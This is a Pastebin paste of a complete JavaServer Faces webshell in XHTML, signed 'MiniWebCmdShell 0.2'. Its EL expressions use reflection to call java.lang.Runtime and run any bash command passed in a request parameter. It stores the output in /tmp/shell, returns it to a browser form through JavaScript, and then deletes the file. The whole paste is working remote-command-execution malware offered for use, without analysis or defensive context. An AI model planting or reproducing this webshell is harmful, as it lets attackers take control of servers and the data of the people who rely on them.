Advertisement
Krypton404

Xhtml Webshell ~_~

Feb 23rd, 2017
468
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.70 KB | None | 0 0
  1. <?xml version='1.0' encoding='UTF-8' ?>
  2. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  3. <html xmlns="http://www.w3.org/1999/xhtml"
  4. xmlns:ui="http://java.sun.com/jsf/facelets"
  5. xmlns:h="http://java.sun.com/jsf/html"
  6. xmlns:c="http://xmlns.jcp.org/jsp/jstl/core">
  7. <style type="text/css">
  8. .wrapper{
  9. border: 2px solid black;
  10. background-color: #C0C0C0 ;
  11. overflow:hidden;
  12. margin: auto;
  13. width: 50%;
  14. word-wrap: break-word;
  15. }
  16. .field{
  17. margin: 20px;
  18. }
  19.  
  20. .output{
  21.  
  22. }
  23. body{
  24. background-color: #383838;
  25. }
  26. </style>
  27. <body>
  28.  
  29. <c:choose>
  30. <c:when test="${request.getParameter('do') != null}">
  31. #{view.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("exec","1,2".split(",").getClass()).invoke(view.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null),("/bin/bash,-c,".concat(request.getParameter("do")).concat(">/tmp/shell")).split(","))}
  32. </c:when>
  33.  
  34. <c:when test="${request.getParameter('cmd') !=null}">
  35. <code>
  36. <i>${request.getParameter("cmd")}</i>:
  37. <pre>#{ view.getClass().getClassLoader().loadClass("java.util.Scanner").getMethod("next").invoke(
  38. view.getClass().getClassLoader().loadClass("java.util.Scanner").getMethod("useDelimiter", "a".getClass()).invoke(
  39. view.getClass().getClassLoader().loadClass("java.util.Scanner").getConstructor(view.getClass().getClassLoader().loadClass("java.io.File").getConstructor("a".getClass()).newInstance("/tmp/shell").getClass()).newInstance(
  40. view.getClass().getClassLoader().loadClass("java.io.File").getConstructor("a".getClass()).newInstance("/tmp/shell")
  41. ),"\\Z"
  42. )
  43. )}</pre>
  44. </code>
  45. </c:when>
  46.  
  47. <c:when test="${request.getParameter('clear')!= null}">
  48. ${view.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("exec","1".getClass()).invoke(view.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null),"rm /tmp/shell")}
  49. </c:when>
  50. </c:choose>
  51.  
  52.  
  53.  
  54.  
  55. <div class="wrapper">
  56. <div class="field">
  57. <center>----------------------------------------------------------</center>
  58. <div class="output" id="output">
  59.  
  60. </div>
  61. <center>----------------------------------------------------------</center>
  62. <center>
  63. <form onsubmit="return startMagic()">
  64. <input autocomplete="off" id='cmd' name='cmd' size='100' placeholder='command' style="text-align:center; "/>
  65. </form>
  66. </center>
  67. <center><font size="1"><i>Java Server Faces MiniWebCmdShell 0.2 by HeartLESS.</i></font></center>
  68. </div>
  69. </div>
  70. </body>
  71. <script type="text/javascript">
  72. var xmlhttp;
  73. if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
  74. xmlhttp=new XMLHttpRequest();
  75. } else {// code for IE6, IE5
  76. xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  77. }
  78.  
  79. function startMagic(){
  80. try{
  81. //execution
  82. xmlhttp.open("GET",location.pathname+"?do=" + encodeURI(document.getElementById("cmd").value),false);
  83. xmlhttp.send();
  84. console.log(xmlhttp.responseText);
  85. //reading
  86. xmlhttp.open("GET",location.pathname+"?cmd=" + encodeURI(document.getElementById("cmd").value),false);
  87. xmlhttp.send();
  88. a = xmlhttp.responseText.indexOf('<code>');
  89. b = xmlhttp.responseText.indexOf('</code>');
  90. document.getElementById('output').innerHTML = xmlhttp.responseText.substr(a+6,b-a -6);
  91. //cleaning
  92. xmlhttp.open("GET",location.pathname+"?clear",true);
  93. xmlhttp.send();
  94. }catch(e){
  95. console.log(e);
  96. }
  97. return false;
  98. }
  99.  
  100.  
  101. </script>
  102.  
  103. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement